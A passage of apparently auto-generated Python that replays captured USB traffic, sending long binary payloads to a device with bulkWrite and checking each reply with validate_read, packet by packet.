b\"\\x22\\x9D\\xB4\\xB5\\x07\\xE3\\x13\\xFB\\x3F\\x62\\xCA\\xE4\\x11\\x1B\\x17\\x4F\"\n b\"\\xA8\\xA5\\x04\\x7D\\xEC\\x89\\xE2\\x85\\x81\\xCE\\x4F\\x50\\x94\\x77\\x72\\x72\"\n b\"\\x4D\\xC7\\x89\\x1C\\xE3\\x40\\xC8\\x8A\\xB7\\x3A\\xC2\\xA9\\x2E\\x06\\xAD\\xAD\"\n b\"\\x78\\x61\\x50\\xD2\\x3B\\xE5\\x1A\\x63\\x0B\\xC2\\xE9\\xFD\\x2F\\xB2\\x92\\xE4\"\n b\"\\x7B\\xAD\\x43\\x72\\x4C\\xDE\\x7D\\x4E\\xAF\\x66\\x62\\x0A\\x8C\\x43\\xC6\\x48\"\n b\"\\xD7\\x6B\\x17\\x03\\x1F\\x09\\x21\\xDE\\x35\\x08\\x4D\\x19\\xDE\\x8E\\x06\\xE5\"\n b\"\\x2A\\xA9\\x4D\\xF4\\x76\\x94\\x52\\x24\\xC2\\xD8\\xAE\\x18\\x01\\xC6\\x5D\\xA4\"\n b\"\\xC1\\x2F\\xBE\\x2D\\x75\\x76\\x56\\xEC\\x83\\xB8\\x21\\xDB\")\n # Generated from packet 135/136\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 135/136\")\n # Generated from packet 137/138\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x81\\x8F\\xD4\\xD0\\x52\\x69\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x35\\xDA\\x03\\x75\\xBF\\xFD\\x84\\xD4\"\n b\"\\x3C\\x4C\\xE3\\xE9\\xCB\\x31\\x4D\\x12\\xB3\\xBB\\x55\\x4F\\x46\\x2F\\xE2\\xC5\"\n b\"\\xA4\\xBF\\x68\\x7F\\x32\\x35\\x8E\\xDC\\x61\\x05\\x54\\xE7\\xB3\\x7F\\xFF\\x1F\"\n b\"\\x93\\x61\\x82\\x91\\x05\\x02\\xFE\\xC9\\x98\\xAE\\x13\\xC0\\x8E\\x77\\x6B\\xC5\"\n b\"\\x07\\x14\\xDB\\xC1\\x45\\x88\\xBF\\x07\\xAC\\x46\\x00\\x9C\\xBF\\xBF\\xFE\\x0B\"\n b\"\\xB7\\x60\\xA2\\x5C\\x41\\x7E\\x6F\\x57\\x44\\x06\\x13\\x0C\\x03\\xE7\\xBD\\x8E\"\n b\"\\xBE\\xAB\\xFC\\xB9\\x9C\\x17\\xE5\\x82\\x27\\xE1\\x39\\x91\\xD7\\xCF\\xB2\\xA3\"\n b\"\\xE6\\x5D\\xBC\\x85\\x13\\x63\\xD8\\x2E\\x1D\\xAA\\x96\\xA8\\x07\\xCB\\xE6\\x5B\"\n b\"\\xE8\\x22\\xB3\\xF7\\xC6\\x49\\x9D\\x4A\\x3F\\x63\\xA7\\x9D\\xB0\\x5C\\xB7\\x12\"\n b\"\\x43\\xF0\\xAE\\x1B\\x42\\xA2\\x9C\\xFA\\xAC\\x45\\xC5\\x54\\x08\\x4A\\xCE\\x51\"\n b\"\\x33\\x15\\x78\\xE0\\x04\\xC0\\x96\\x90\\xAE\\xE7\\x49\\xFA\\x2B\\x30\\x40\\x83\"\n b\"\\x32\\x6D\\x1A\\x10\\xA4\\xC2\\x5F\\x2D\\x1F\\x11\\x5A\\x8F\\x55\\xBA\\xA9\\x1B\"\n b\"\\x40\\x6C\\x11\\xFB\\x7D\\x4D\\xF5\\xC9\\x76\\x39\\x59\\x74\\x33\\x8C\\xC6\\xA2\"\n b\"\\xB2\\x26\\x32\\x91\\x4E\\xB0\\xE3\\xFE\\xD4\\xA2\\x16\\xA4\\x61\\x73\\xE0\\xB1\"\n b\"\\x99\\x39\\xD8\\x86\\xD3\\x04\\x33\\x87\\x90\\x53\\x2B\\x05\\x06\\x02\\x96\\xBA\"\n b\"\\xAE\\x1F\\xDE\\x12\\x61\\xEE\\x3C\\x98\\x8F\\xE1\\x7E\\xAC\\xE2\\x9E\\xAA\\xE0\"\n b\"\\x7D\\x50\\xCE\\xDF\\xA8\\xC4\\x33\\x53\\x4F\\x3F\\xEC\\xAA\")\n # Generated from packet 139/140\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 139/140\")\n # Generated from packet 141/142\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x18\\x63\\x16\\x53\\x90\\x5F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xB2\\x3F\\xED\\xE7\\x5F\\x92\\xD7\\x42\"\n b\"\\x8F\\x6F\\x21\\x8D\\xF4\\x81\\x1A\\xBD\\xB8\\x6F\\xDE\\x09\\x7B\\x96\\x42\\x18\"\n b\"\\x9B\\x5D\\xF1\\x15\\x98\\xE0\\xF3\\x05\\x6D\\x48\\x3F\\x06\\x42\\x2A\\x06\\x7E\"\n b\"\\x3A\\x16\\x8D\\x40\\x99\\x7A\\xFD\\xCC\\x0B\\x31\\x72\\xA5\\x2C\\x1D\\x02\\xCF\"\n b\"\\x5B\\x14\\x11\\x77\\xD7\\x80\\x0D\\x2A\\xCD\\xCD\\x78\\x9B\\x99\\x59\\x8E\\xF3\"\n b\"\\x72\\x6E\\xF9\\x0F\\x9D\\x61\\x5D\\xDB\\x4E\\x77\\xB1\\xB6\\x61\\xB6\\xB8\\xEF\"\n b\"\\x04\\x6F\\x5B\\x15\\x86\\x73\\x23\\xF1\\x14\\x00\\x30\\x72\\x2E\\x47\\x94\\x73\"\n b\"\\x5C\\x85\\x96\\x51\\xAC\\x43\\x49\\x3A\\x69\\x57\\x40\\xC2\\x70\\x0A\\x1A\\xD1\"\n b\"\\xE6\\xA5\\x5F\\x6C\\x5D\\x76\\x4C\\xFA\\x57\\x6E\\x46\\x47\\x09\\xB3\\xFE\\xE7\"\n b\"\\x2A\\xB0\\x67\\xED\\xFC\\x7E\\xFD\\x4E\\x24\\x30\\xB7\\x1C\\xFE\\x8C\\xE7\\x13\"\n b\"\\xC2\\x13\\x13\\x38\\x2E\\x8F\\x1E\\xD2\\x57\\xF4\\x96\\x48\\xA5\\xAA\\xEC\\x46\"\n b\"\\x8B\\x82\\x29\\xA4\\x98\\xBC\\xCB\\x61\\x40\\xDD\\x6C\\x50\\x96\\xC3\\xDE\\xD3\"\n b\"\\x23\\x4B\\x80\\x6B\\xD7\\xE6\\x72\\xEC\\x28\\x7B\\x36\\x62\\x75\\x74\\x2C\\xB9\"\n b\"\\x30\\x08\\x89\\x3B\\x5D\\x71\\x96\\x63\\x16\\xC6\\xB5\\x98\\x64\\xF4\\xC3\\x8A\"\n b\"\\x50\\x59\\xE3\\x0F\\x0C\\xF6\\x9E\\xC4\\x2F\\xE0\\x87\\x17\\x01\\x9E\\xBC\\x84\"\n b\"\\xFC\\xEE\\xF4\\xDB\\xBB\\x19\\x2E\\x2A\\x11\\x8D\\xD7\\x0E\\xA5\\x12\\xCE\\x3E\"\n b\"\\x6C\\x2A\\x0B\\xAE\\xF9\\x01\\xEE\\x29\\x66\\xD3\\xBF\\xEF\")\n # Generated from packet 143/144\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 143/144\")\n # Generated from packet 145/146\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x74\\x97\\x1E\\x2B\\x49\\x16\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x4B\\xB6\\x94\\xB1\\x2D\\xA5\\x9E\\x2B\"\n b\"\\x3A\\xB6\\x2E\\x2F\\xC7\\x93\\x2D\\x1B\\x75\\x24\\x8A\\x3B\\xDD\\x79\\x1B\\x3A\"\n b\"\\x99\\x7A\\x3D\\x08\\xF9\\x04\\x62\\xCE\\xBC\\x8D\\x78\\x3B\\xCC\\x12\\x70\\x33\"\n b\"\\xFE\\x9F\\x14\\x11\\x60\\xB6\\x27\\xDF\\xAA\\x48\\x31\\x2F\\xA5\\xDB\\x34\\xA3\"\n b\"\\x93\\x66\\xBE\\x1D\\xBB\\x8F\\xF6\\x8F\\xAB\\xB8\\xE7\\x86\\x5C\\xCE\\xA7\\x12\"\n b\"\\x79\\x34\\xB5\\x03\\xE6\\x11\\x53\\xB5\\x17\\x34\\x5C\\x7E\\x89\\x88\\x32\\x5E\"\n b\"\\x64\\x99\\x19\\x52\\x16\\x9F\\x71\\xA4\\x6E\\xF6\\xE0\\xD1\\xA1\\x65\\x8B\\x2A\"\n b\"\\xDA\\xBE\\xFD\\xDB\\xD0\\xD4\\x51\\xCE\\xA7\\x20\\x50\\x4C\\x55\\x53\\xEE\\xFD\"\n b\"\\x0E\\xCC\\xCF\\x24\\x1C\\x68\\x68\\x3C\\xEB\\x69\\x9D\\x24\\x74\\x42\\x6E\\x62\"\n b\"\\x27\\xD4\\x02\\xFE\\x56\\x1D\\xF7\\x45\\x15\\xDD\\x89\\xA2\\x9C\\xFE\\x2D\\xC4\"\n b\"\\xDE\\xA5\\x45\\x01\\x33\\xEE\\xE0\\xAB\\xE9\\xA4\\xD5\\x31\\xB1\\xD7\\xA9\\xC0\"\n b\"\\xC7\\x68\\xE4\\x0E\\xD6\\xB0\\x78\\x9D\\xA7\\x8B\\x5C\\x15\\x96\\x5D\\x7E\\x9E\"\n b\"\\x65\\xBE\\x77\\x87\\xC4\\x05\\x99\\x0C\\x42\\xD1\\x16\\xA4\\xF7\\x11\\xF8\\xC9\"\n b\"\\x86\\x1C\\x3C\\xBA\\x9E\\x21\\x68\\xEE\\x16\\x80\\x65\\xC2\\xA6\\x11\\x4B\\x32\"\n b\"\\xDD\\x47\\xF9\\x06\\xEA\\x6D\\xA7\\x9D\\xD3\\x33\\xEF\\xB8\\xDE\\x99\\x40\\xE9\"\n b\"\\xC5\\xA6\\xF4\\xBA\\x29\\x4A\\x23\\xF1\\xBD\\x4D\\xAC\\x74\\x15\\xAE\\x96\\x72\"\n b\"\\x95\\xC7\\x12\\xD4\\xF5\\xE8\\x2D\\x3C\\x20\\xEB\\x24\\x82\")\n # Generated from packet 147/148\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 147/148\")\n # Generated from packet 149/150\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x2E\\x7F\\x71\\xE3\\xF1\\x6D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x8E\\xC4\\x9E\\x95\\xEC\\x7D\\x6B\\xEA\"\n b\"\\x35\\x24\\xE9\\x9E\\x93\\x92\\xF8\\x00\\x17\\x8F\\xE5\\xAE\\x89\\xB9\\xE4\\x87\"\n b\"\\xE2\\x2E\\xC6\\xFF\\xC0\\x3C\\x26\\x07\\x06\\x58\\xCE\\x14\\x61\\x6E\\x68\\x14\"\n b\"\\xAC\\x20\\xC2\\x39\\xBC\\xC0\\xC8\\xD2\\xE5\\xE6\\x82\\xF7\\xF8\\x3B\\xEB\\xE4\"\n b\"\\x59\\x25\\x06\\xAE\\xD3\\x6B\\xB0\\x91\\xBD\\xAD\\x9E\\x6B\\xFD\\x46\\x69\\x86\"\n b\"\\x35\\x65\\x93\\x54\\x62\\xFA\\xB6\\x21\\xD7\\x90\\x12\\xEB\\x14\\xAD\\x3E\\x12\"\n b\"\\x21\\xDB\\x7D\\x2B\\x28\\x73\\xE0\\x84\\x2A\\xD2\\x13\\x84\\x8F\\x3A\\xB1\\x7E\"\n b\"\\xA6\\xAE\\x7C\\x4F\\x57\\xFE\\xB2\\x8B\\x40\\x9C\\x34\\xB8\\x1E\\xF2\\xAB\\xED\"\n b\"\\x91\\x28\\xEE\\x2D\\x6E\\x6F\\x9E\\xC8\\x62\\xB5\\x48\\xFD\\x59\\xDE\\x6A\\x1C\"\n b\"\\x1A\\x1B\\x7C\\x02\\x19\\x1A\\x63\\xC7\\x85\\x0E\\xAE\\x21\\xAA\\x54\\xFD\\x58\"\n b\"\\x1A\\x12\\x9C\\x22\\x4D\\xED\\x8E\\x8C\\xF3\\x21\\xA4\\xD6\\x73\\xA2\\x77\\x23\"\n b\"\\x14\\x80\\xB3\\x6D\\x4D\\x02\\x11\\x71\\x48\\x6E\\xB7\\xDF\\x03\\xC5\\xE0\\x0C\"\n b\"\\xA2\\x60\\x0A\\xDD\\x94\\xC0\\xF6\\xA4\\x00\\x80\\x12\\x7A\\xED\\x27\\x32\\x94\"\n b\"\\x21\\x7D\\xCC\\x98\\x00\\x9C\\xE7\\x9F\\xEE\\x14\\x06\\x97\\x46\\xBE\\x0D\\xBC\"\n b\"\\xBD\\x45\\x89\\xDB\\xB3\\x3F\\x11\\xCB\\x6B\\x41\\x2A\\x5B\\x20\\x17\\x09\\xF5\"\n b\"\\x75\\x09\\xD7\\x7A\\x74\\x8B\\x78\\x2B\\x2B\\x9B\\x95\\xAF\\xFE\\x39\\x5A\\xDA\"\n b\"\\x8E\\x7B\\x91\\x26\\x50\\x94\\x3E\\xEF\\x20\\x5A\\x6E\\xF4\")\n # Generated from packet 151/152\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 151/152\")\n # Generated from packet 153/154\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x1E\\xD9\\xBC\\x2D\\xF1\\x5A\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xC0\\x82\\xEC\\xA8\\x53\\xA0\\x43\\x33\"\n b\"\\x46\\xE2\\x7E\\x20\\xBF\\x9C\\x8D\\x6D\\x45\\x41\\x70\\x93\\xBA\\x15\\x94\\xA0\"\n b\"\\x34\\x11\\x9E\\xBA\\x49\\x3F\\x75\\x28\\x10\\xB8\\xAF\\x1F\\xFC\\xAA\\x48\\x13\"\n b\"\\xAE\\x13\\xC1\\x21\\x0A\\xC3\\xFD\\x1C\\x3D\\xED\\xC6\\x48\\x4F\\x40\\x86\\x7D\"\n b\"\\xBF\\xDA\\x15\\xF6\\x05\\xC5\\xFB\\xE7\\x33\\x19\\x4B\\xBF\\xA5\\x05\\xC4\\xB6\"\n b\"\\xB2\\x36\\x14\\xAF\\x84\\xCF\\xBE\\x1D\\x2C\\xC6\\xF0\\x5B\\xA6\\xB1\\x75\\x41\"\n b\"\\xF1\\x4E\\x35\\x57\\xF4\\xFC\\xB3\\x36\\xEB\\x89\\xC1\\x73\\xDE\\x3F\\xE4\\xF6\"\n b\"\\x3A\\x15\\xC8\\x9A\\x9B\\x03\\x6F\\x9A\\x25\\x52\\x9D\\x75\\xCB\\xEB\\x04\\xCD\"\n b\"\\x48\\xEA\\xE3\\xEB\\xBF\\x67\\x8D\\x13\\x28\\x01\\x48\\xD4\\xD5\\x54\\xFB\\x5D\"\n b\"\\x42\\xF8\\xEE\\xDF\\xBB\\x7C\\x66\\x2D\\xA0\\xE9\\xE2\\xA0\\xFE\\xE1\\x9B\\x90\"\n b\"\\x1F\\xC2\\x78\\x57\\x4C\\x44\\xA6\\xA3\\x12\\xCE\\xE1\\xB1\\x7E\\x45\\x89\\x23\"\n b\"\\x97\\x75\\x2D\\x84\\xDF\\x0C\\x45\\x80\\x36\\xC4\\xE0\\xFA\\xE8\\x0E\\x56\\xB1\"\n b\"\\xA5\\x5F\\x2A\\xC1\\x53\\xE2\\x0B\\x53\\xC8\\xC0\\x97\\x80\\xB9\\x78\\xBB\\xCA\"\n b\"\\x80\\xAF\\xFC\\xB9\\xEC\\xF2\\xE5\\xA6\\x51\\x8F\\x99\\xCC\\x4F\\x7B\\x84\\x49\"\n b\"\\x64\\xA9\\xF8\\xC9\\x8B\\xF7\\xAE\\xDE\\x0D\\xC9\\x7E\\xDA\\x65\\x61\\x82\\xDD\"\n b\"\\x4B\\x5F\\x21\\x03\\x2C\\x2F\\x9D\\xCA\\x4B\\x06\\x25\\x4C\\x5A\\x3F\\x25\\xA6\"\n b\"\\xAD\\x16\\xB8\\xEE\\x28\\xCE\\x08\\x79\\x91\\x7A\\xD5\\x93\")\n # Generated from packet 155/156\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 155/156\")\n # Generated from packet 157/158\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xDF\\x59\\x99\\x83\\xBB\\x41\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xD9\\xE7\\xBF\\x5D\\x13\\xF2\\x4D\\x5E\"\n b\"\\x64\\x88\\x38\\x49\\x9D\\x47\\xE1\\x9C\\x9C\\xD3\\x76\\xFD\\xC4\\xB7\\xAE\\x19\"\n b\"\\x97\\x35\\xE2\\x4E\\x6B\\x7F\\xDE\\xEC\\xD7\\xD1\\x56\\x2D\\x27\\xBA\\xA1\\x58\"\n b\"\\xF7\\x54\\xAC\\x3B\\x3F\\x51\\x3E\\x23\\x96\\x45\\x2A\\xB9\\x31\\x2D\\xC5\\x69\"\n b\"\\x05\\x7B\\x6D\\x11\\x92\\xCA\\x86\\xF0\\xB8\\x70\\x91\\xFF\\x63\\x7F\\xC4\\x12\"\n b\"\\x4C\\x30\\x61\\x29\\x94\\x87\\xBE\\x04\\x6B\\x0F\\xFD\\x41\\x3A\\xC2\\x00\\xB0\"\n b\"\\x1C\\x22\\x14\\x4B\\x16\\xD9\\xF6\\xC8\\x4F\\x25\\x12\\x0F\\x07\\x27\\x66\\xA6\"\n b\"\\x44\\xB6\\x55\\x74\\xAB\\x32\\xCC\\x8F\\xD4\\x03\\x5B\\x1B\\x6E\\x09\\x67\\x4C\"\n b\"\\x28\\x91\\x07\\x39\\x07\\x4B\\x4D\\xFF\\xEF\\x93\\xF3\\xB8\\x42\\x2C\\x60\\x14\"\n b\"\\xB0\\xA5\\x45\\x9D\\x4E\\xE6\\x69\\x57\\xBB\\x33\\xC1\\x95\\x78\\x58\\x09\\x5F\"\n b\"\\x4A\\x87\\x5A\\xFD\\xA9\\x7F\\xA7\\xBA\\xAE\\xA6\\x04\\xD8\\x26\\x72\\x3E\\x67\"\n b\"\\xBB\\x56\\x93\\x8C\\xB0\\x59\\x05\\x82\\x1A\\x4C\\xED\\xDF\\x1B\\x76\\xC1\\xEB\"\n b\"\\x88\\xA3\\xFA\\xEC\\xF0\\x3E\\x4F\\x15\\x17\\x16\\x4A\\xD2\\x17\\x9D\\x4F\\xD5\"\n b\"\\x76\\x57\\xFE\\xA7\\xA9\\x84\\x39\\xE6\\xB8\\x53\\x65\\x60\\xE1\\x49\\xAE\\x64\"\n b\"\\xF1\\x40\\x6C\\x0A\\x52\\x06\\x46\\xD8\\x57\\xFA\\xCE\\xA3\\x51\\x42\\x69\\xD7\"\n b\"\\x18\\xE3\\xFB\\xD9\\xEB\\x27\\x26\\x22\\x44\\x49\\x37\\xC8\\x3D\\x6F\\xF4\\xC3\"\n b\"\\xB7\\xAB\\x2A\\x2A\\x88\\x32\\x4A\\xE6\\x6D\\x7E\\x7E\\xCA\")\n # Generated from packet 159/160\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 159/160\")\n # Generated from packet 161/162\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x57\\x39\\x09\\x04\\xE9\\x26\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x48\\x8A\\x1B\\xD8\\xDF\\x8E\\x43\\xA4\"\n b\"\\x2A\\x1D\\xF5\\xDA\\x73\\x46\\xEF\\x9A\\xDA\\x3A\\x4F\\x3A\\x00\\x28\\x0C\\xE8\"\n b\"\\x27\\x01\\xDF\\x97\\xC2\\xAA\\xE7\\xAD\\x00\\x13\\x32\\x1D\\x39\\x24\\xC8\\x4E\"\n b\"\\xB8\\xF3\\x19\\xF9\\xBA\\xF0\\xC6\\x84\\x2E\\xEF\\x5E\\x88\\xF7\\x3C\\xA7\\x16\"\n b\"\\x24\\x72\\x8E\\xFC\\xB1\\x77\\x6C\\xA1\\xF4\\x63\\xB9\\x26\\xCD\\x7C\\xCF\\xF4\"\n b\"\\xBC\\x44\\xE9\\xEE\\x52\\x5E\\x14\\x32\\xD4\\x42\\x72\\x40\\x0D\\x47\\x79\\xF7\"\n b\"\\x46\\x53\\x5C\\xD7\\x57\\x91\\xD5\\x5D\\x9B\\x35\\x6C\\xD1\\x6D\\x66\\xCC\\xA2\"\n b\"\\xB2\\x45\\x77\\x81\\x17\\xFB\\xCD\\x92\\x10\\xEA\\x78\\xBA\\xC0\\xB4\\x70\\x33\"\n b\"\\xFE\\xBB\\xB3\\x7E\\xD4\\x8B\\x59\\x24\\x1E\\xDF\\x91\\xB3\\xCD\\x7D\\xB4\\xBD\"\n b\"\\x7D\\xAA\\x3A\\x89\\x61\\x70\\x1C\\x85\\x5B\\x79\\x1D\\x02\\x24\\x39\\xC3\\x17\"\n b\"\\x93\\x37\\x4F\\xC4\\x9E\\xF4\\xA5\\x75\\x71\\x42\\xCE\\xBE\\x39\\xDA\\xC8\\x99\"\n b\"\\x0C\\x88\\xEF\\x96\\xB4\\x71\\x03\\x54\\xDE\\x70\\x1A\\xD7\\x4D\\xA0\\x34\\xA3\"\n b\"\\x38\\xD8\\x4D\\x1F\\xD2\\x66\\x2B\\x0C\\x35\\x66\\x29\\x44\\xD3\\x51\\x70\\xDF\"\n b\"\\x8E\\xC8\\x2F\\x24\\x0E\\xBB\\x36\\x3A\\x40\\x07\\xFF\\x14\\xB1\\xA0\\xEA\\xB3\"\n b\"\\xD3\\xDA\\x62\\x0A\\xAA\\xAE\\xF7\\xA2\\x03\\x58\\x89\\xA2\\x9E\\x58\\x2D\\xC4\"\n b\"\\xC4\\x23\\x45\\x41\\x35\\xCB\\xE0\\xBB\\xEF\\x42\\xBA\\xEC\\xA0\\xAB\\xC6\\x5C\"\n b\"\\x54\\x54\\x0B\\x93\\xCD\\x0C\\x0E\\x1A\\xC5\\x29\\xAF\\xE6\")\n # Generated from packet 163/164\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 163/164\")\n # Generated from packet 165/166\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x95\\xD4\\x62\\xD8\\xEB\\x01\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x7A\\x38\\x41\\xA1\\x20\\xCD\\x82\\xAC\"\n b\"\\xD4\\x6A\\x68\\x83\\x69\\xDF\\x65\\x63\\xBF\\x76\\x63\\x1C\\x7B\\xDF\\x08\\x0B\"\n b\"\\x94\\xC6\\xDC\\xCE\\xAA\\x8B\\x93\\x5F\\xA4\\xF2\\x60\\xC8\\xA8\\xDC\\x58\\x3E\"\n b\"\\xBD\\x32\\x2E\\xC6\\x45\\x18\\x1C\\x44\\xF5\\x94\\x92\\xA6\\x07\\x3B\\xF7\\x33\"\n b\"\\x27\\x90\\xDD\\x3B\\x74\\x09\\x9E\\xDB\\x92\\x5F\\xD6\\xBB\\x3D\\xE7\\x78\\xFB\"\n b\"\\x0F\\x73\\x73\\x93\\x7C\\x9D\\x8A\\xC8\\x56\\x27\\x9D\\x47\\x32\\x05\\x77\\x7B\"\n b\"\\x4E\\xAF\\x17\\xC8\\xC9\\xA2\\x5C\\x23\\x9B\\x00\\x87\\x82\\x12\\x8E\\x14\\xDC\"\n b\"\\xD5\\xAB\\x14\\x0A\\x08\\x53\\xF0\\x7E\\x31\\x2E\\x5A\\x3B\\xE1\\x07\\xE2\\x23\"\n b\"\\xA2\\x9C\\x31\\x74\\x01\\x9A\\xCC\\x0E\\xCE\\xAA\\x5B\\x1B\\x70\\x62\\x67\\xAA\"\n b\"\\x28\\x98\\x4D\\x4B\\x35\\xCB\\x4D\\xB9\\xF7\\xBA\\x91\\x5E\\x60\\xE8\\xBE\\xBF\"\n b\"\\x96\\x40\\x97\\x97\\x64\\x23\\xBB\\x9F\\x95\\x56\\xF3\\x38\\x46\\x83\\x36\\x35\"\n b\"\\x9B\\x8B\\x8E\\xDF\\x95\\x0F\\x41\\x3E\\xC6\\x8B\\x47\\x4C\\xC8\\x3C\\x60\\xBC\"\n b\"\\xA5\\x7E\\x97\\xAE\\xAE\\x3E\\x1B\\xC3\\xD1\\xF8\\xAA\\xEE\\xD3\\x82\\xA8\\xA8\"\n b\"\\x90\\x20\\x47\\x1E\\xF6\\x41\\x3B\\x14\\x92\\xF4\\x1A\\xD9\\x09\\x7B\\x51\\x54\"\n b\"\\x2E\\x17\\x0A\\x62\\xDA\\xA5\\x05\\x89\\x50\\x70\\x85\\x21\\x15\\x67\\x0B\\x92\"\n b\"\\x74\\xA2\\x2C\\xE1\\x4C\\xE0\\x50\\x59\\x0F\\xBA\\x2A\\x46\\x22\\x63\\x45\\x98\"\n b\"\\xF0\\xC0\\x13\\x98\\x1F\\x09\\x84\\xF4\\x9C\\x65\\x91\\x23\")\n # Generated from packet 167/168\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 167/168\")\n # Generated from packet 169/170\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x75\\xAB\\x72\\x84\\xB3\\x0B\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x4D\\x30\\x85\\xD3\\xD9\\xB5\\xFF\"\n b\"\\xFC\\x36\\x6C\\x6C\\x90\\xF6\\x0A\\xC0\\x4A\\xA3\\x92\\xF2\\x52\\x4F\\xC9\\xCF\"\n b\"\\xEF\\xAC\\xB8\\x27\\x6A\\x16\\x97\\xA2\\x1A\\x00\\x75\\x4F\\x9E\\xD6\\xD8\\xD5\"\n b\"\\x94\\x25\\x92\\xA0\\x31\\x73\\x8F\\x92\\xCA\\xCB\\x46\\x44\\xE0\\xE2\\xBD\\xCB\"\n b\"\\x56\\xAE\\xF6\\x20\\x0E\\xE9\\xEE\\x2D\\xB9\\x97\\xE0\\x5C\\x3F\\xDE\\x15\\xA3\"\n b\"\\xD3\\x86\\xFB\\xE6\\x11\\xB7\\x63\\x71\\x12\\xC8\\xD3\\xFE\\x85\\x5F\\xD4\\xF1\"\n b\"\\x7A\\x87\\xF4\\x91\\x54\\xA8\\x4C\\xDC\\x43\\x84\\x6A\\x3B\\xA7\\x91\\x62\\x1E\"\n b\"\\x9B\\xEE\\x2E\\x79\\xB5\\x58\\xC3\\x45\\x2C\\x70\\xB6\\x64\\x4F\\x2E\\x8E\\xF6\"\n b\"\\xC1\\xFB\\x33\\xF1\\x50\\xAA\\xA2\\xC9\\x33\\x0C\\x53\\xEB\\xCD\\xEC\\xAE\\x86\"\n b\"\\x6B\\x09\\x87\\x6E\\x3C\\x77\\x98\\x21\\x67\\xF7\\x87\\x2D\\x76\\xC3\\xD4\\xA8\"\n b\"\\x8D\\xD6\\xA5\\xE2\\x14\\xBB\\xC8\\x29\\x3A\\x6E\\xFC\\x26\\x90\\x73\\xA1\\xFF\"\n b\"\\x00\\xE9\\x9E\\xC1\\x26\\x08\\x1E\\x10\\xCA\\xC7\\xD7\\x32\\xFE\\x91\\x89\\x8A\"\n b\"\\xE3\\x3D\\xFA\\x07\\x2D\\xED\\xF4\\x9B\\xBB\\x25\\x81\\x0D\\x6F\\x05\\xFF\\x5E\"\n b\"\\x81\\x17\\x5E\\xBF\\xCE\\x06\\xDC\\x62\\x9C\\xA1\\x0F\\x70\\x28\\x36\\x51\\x58\"\n b\"\\xA2\\x6C\\x4C\\xB5\\xB1\\x2B\\x4B\\x2E\\x70\\x55\\x45\\xE4\\x36\\xC7\\x8B\\x82\"\n b\"\\xE2\\xB7\\xF3\\xA4\\x7E\\xB9\\x59\\xF0\\x33\\x1D\\x17\\x30\\x70\\xE2\\x9D\\xAE\"\n b\"\\xDF\\xFD\\x6B\\xC7\\xB5\\x80\\xEA\\xFD\\xFC\\xEB\\x66\\x71\")\n # Generated from packet 171/172\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 171/172\")\n # Generated from packet 173/174\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x4C\\xE1\\xE5\\x43\\xA6\\x2E\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x85\\xE0\\xDD\\x44\\xBA\\xE8\\x58\\x6E\"\n b\"\\x4E\\x6D\\x58\\x2F\\xE6\\xBB\\x34\\x05\\x2C\\x73\\x0A\\x4C\\x27\\x0D\\x6F\\xBF\"\n b\"\\xB3\\xF2\\xD1\\x21\\xEB\\x90\\x96\\x83\\x69\\x4E\\xBD\\x61\\xE6\\x23\\xF5\\x28\"\n b\"\\xFE\\x83\\xDF\\xF8\\x28\\x9A\\xD4\\x11\\x05\\xC0\\x28\\x47\\xFB\\x08\\x77\\xD8\"\n 